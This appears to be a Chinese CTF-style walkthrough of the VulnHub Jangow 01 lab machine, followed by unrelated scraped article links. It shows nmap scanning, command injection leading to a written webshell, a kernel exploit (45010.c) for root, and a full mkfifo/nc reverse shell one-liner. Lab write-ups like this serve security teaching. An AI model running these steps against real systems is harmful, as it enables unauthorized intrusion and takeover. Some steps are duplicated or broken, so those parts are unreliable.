知识点

  • NMAP参数

    • -sV 获取系统信息
    • -sT TCP扫描可能会留下日志记录
    • -sC 使用默认脚本(在-A模式下不需要)
    • -p1-xxx 扫描端口号 -p- ==>等价于 -p1-65535 不设置端口就扫描默认端口
    • -Pn 绕过禁用ping
    • -A 进攻性扫描也会运行默认脚本)
  • arp-scan arp利用arp地址解析协议探测扫描
    • -I 大写i 用以指定用来扫描的网卡 如果未指定会使用网卡序号最低的一个 也就是eth0但是如果指定 那么指定的网卡必须支持ARP
    • -l 小写L 表示从网络接口的ip和掩码生成列表进行扫描

准备工作

由于下载的ova文件默认是仅主机模式,不方便使用,这里用vm打开后改为,nat模式,当然如果要使用仅主机模式,只要保持,可以和目标通信即可。

由于镜像保护原因,直接下载的可能遇到无法获得ip的情况,可通过一下步骤获取ip

  1. 在下面这个页面按e

  1. 找到这个位置 将ro更改为 rw single init=/bin/bash,如图所示

  2. 然后按ctr+x进入命令行页面

  3. 查看网卡名称

  4. 进入网络配置面板

  5. 将该文件的网卡名称改为 ens33

  6. 重启网卡即可获取ip

  7. 然后直接重启虚拟机即可进入测试

信息收集

  1. 目标发现

发现目标,由于其他三个是环境中的所以锁定这个(这里有点脱裤子放*了,因为前面重启服务的时候已经看到了,但是如果这个环境没有问题,是需要这样进行目标发现的。)

  1. 资产扫描

    nmap -sV -Pn -A -p- 192.168.245.141

    这里用-p-是全端口扫描,虽然慢点,但是这样可以保证资产不遗漏,如果靶机改了端口,用常用端口无法扫描到。

  2. 这里扫描发现有一个http服务,和ftp服务,ftp需要账号密码,转向http服务

  3. http测试

  1. 点击site进入网站首页

  1. 翻看发现这个页面存在命令执行。

7. 只需要在参数后门加要执行的命令

  1. webshell写入

    注意那么美元符前面要加反斜杠,否则在执行的时候,命令行会把他当做一个变量,无法写入到文件

  2. 使用ls命令查看目标已写入成功,用蚁剑连接

  3. 这个文件中有数据库信息,本打算利用数据库提权,但是很遗憾无法连接,按理说用webshell连接是本地连接但是连接不上。

  4. 寻找其他的方法,本想将权限返回到msf或者cs上进行下一步自动发测试但是多种方式测试均无法成功上线,可能是防火墙原因也有可能是靶场的linux环境不支持我测试的后门程序。

  5. 这里使用命令 uname -a 可以发现 系统内核版本信息,使用searchsploit进行搜索,结果如下

  6. 经测试只有45010.c这个文件可以成功反弹,其他均失败

  7. 将shell反弹到nc,因为需要接收exp执行后返回的回话。
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.245.128 443 >/tmp/f 更换ip即可
    nc -lvnp 443 端口不能换,其他端口没办法反弹。

  8. 执行 exp ./exp 如果执行不成功 添加执行权限 chmod +x exp 后再执行

38195)]
17. 执行 exp ./exp 如果执行不成功 添加执行权限 chmod +x exp 后再执行
18. [外链图片转存中…(img-C4kFovwJ-1661052138195)]

获得了root权限,使用passwd即可更改密码,可以任意方法维持权限。

VulnHub-Jangow-01-1.0.1打靶记录的更多相关文章

  1. 【转载】在VS2008中使用WSE 3.0过程全记录

    WSE全称是Web Service Enhancement,提供了更好的安全性实现,以及大对象传输的设计. 有关WSE的一些介绍,如果不清楚,可以参考下面的链接 官方介绍:http://www.mic ...

  2. mysql8.0.16操作记录

    mysql8.0.16操作记录 2.1.登录 -uroot -p'AnvcTMagdLarwNV3CKaC' mysql: [Warning] Using a password on the comm ...

  3. VulnHub-Earth 打靶记录

    目录 VulnHub-Earth 打靶记录 知识点 目标探测 信息收集 Shell反弹&信息二次收集 提权 权限维持 VulnHub-Earth 打靶记录 搭建靶场的时候一定要使用NATser ...

  4. ccs6.0使用问题记录

    ccs6.0使用问题记录 彭会锋 1 编译过程中提示warning  " Description Resource Path Location Type #9-D nested commen ...

  5. select2 4.0.3 空记录时的处理

    使用select2插件,如果后台查找没有记录,不能返回null,要返回一个空数组,不然会报错:data is null 空数组形式为(firefox调试输出):{"items":[ ...

  6. 浅析Entity Framework Core2.0的日志记录与动态查询条件

    前言 Entity Framework Core 2.0更新也已经有一段时间了,园子里也有不少的文章.. 本文主要是浅析一下Entity Framework Core2.0的日志记录与动态查询条件 去 ...

  7. Lucene.net(4.8.0) 学习问题记录五: JIEba分词和Lucene的结合,以及对分词器的思考

    前言:目前自己在做使用Lucene.net和PanGu分词实现全文检索的工作,不过自己是把别人做好的项目进行迁移.因为项目整体要迁移到ASP.NET Core 2.0版本,而Lucene使用的版本是3 ...

  8. Lucene.net(4.8.0) 学习问题记录六:Lucene 的索引系统和搜索过程分析

    前言:目前自己在做使用Lucene.net和PanGu分词实现全文检索的工作,不过自己是把别人做好的项目进行迁移.因为项目整体要迁移到ASP.NET Core 2.0版本,而Lucene使用的版本是3 ...

  9. Video Test Pattern Generator(7.0)软件调试记录

    Video Test Pattern Generator(7.0)软件调试记录 . XVidC_VideoMode XVIDC_VM_576_50_I = XVIDC_VM_720x576_50_I ...

  10. manjaro xfce 18.0 踩坑记录

    manjaro xfce 18.0 踩坑记录 1 简介1.1 Manjaro Linux1.2 开发桌面环境2 自动打开 NumLock3 系统快照3.1 安装timeshift3.2 使用times ...

随机推荐

  1. TypeScript实践总结

    下文将TypeScript简称ts 一.为什么要学 1.1 减少bug,提高质量 强语言,语法等方面异常,编译阶段"提前"报错 支持面向对象,软件设计与工程化更为成熟,更容易做单元 ...

  2. 突破英语听说要塞-连读与变音 MP3 免费下载

    学英语 连读 弱读,就是这本书最不错了. 网上这个音频 有下载,但是不好找,特此分享,拿走不谢. https://115.com/s/swns19o3359?password=df62&# 突 ...

  3. FastWiki v0.1.0发布!新增超多功能

    FastWiki 发布 v0.1.0 https://github.com/239573049/fast-wiki/releases/tag/v0.1.0 更新日志 兼容OpenAI接口格式 删除Bl ...

  4. Django使用Bootstrap的经典方法

    前面的话 Bootstrap是简单.灵活的用于搭建WEB页面的HTML.CSS.Javascript的工具集.Bootstrap基于HTML5和CSS3,具有漂亮的设计.友好的学习曲线.卓越的兼容性, ...

  5. [置顶] java.io.IOException: No such file or directory解决方案之权限问题

    先贴出异常信息: java.io.IOException: No such file or directory at java.io.UnixFileSystem.createFileExclusiv ...

  6. 文心一言 VS 讯飞星火 VS chatgpt (216)-- 算法导论16.2 3题

    三.假定在 0-1 背包问题中,商品的重量递增序与价值递减序完全一样.设计一个高效算法求此背包问题的变形的最优解,证明你的算法是正确的.如果要写代码,请用go语言. 文心一言: 在0-1背包问题中,如 ...

  7. 关于dapper in查询很慢

    dynamicParams.Add("sitecode", new string[]{ "abc","efd","ert" ...

  8. 记录--微信小程序获取用户信息(附代码、流程图)

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 本篇文章主要总结了微信小程序开发,获取用户信息的整个流程步骤.补充了网上很多碎片化的代码,本人梳理了思路写下了这篇文章. 思路 1.在js ...

  9. el-select的简单封装,使其返回值中包含key,value,obj 三种值

    常规的el-select中change事件返回值,只有key返回,业务上有些需求有需要获取到value值,所以简单的封装了一下,使返回中包含key,value,obj三个值,基本上可以满足大部分的需求 ...

  10. JSON格式化 动态生成表格 表格转置 行列转换 Excel导出

    先看效果 初始化: JSON格式化 : 生成表格-方式1 : 生成表格-方式2 : Excel导出 需要行求和.列求和功能的查看 JSON格式化 动态生成表格 表格转置 行列转换 Excel导出 行求 ...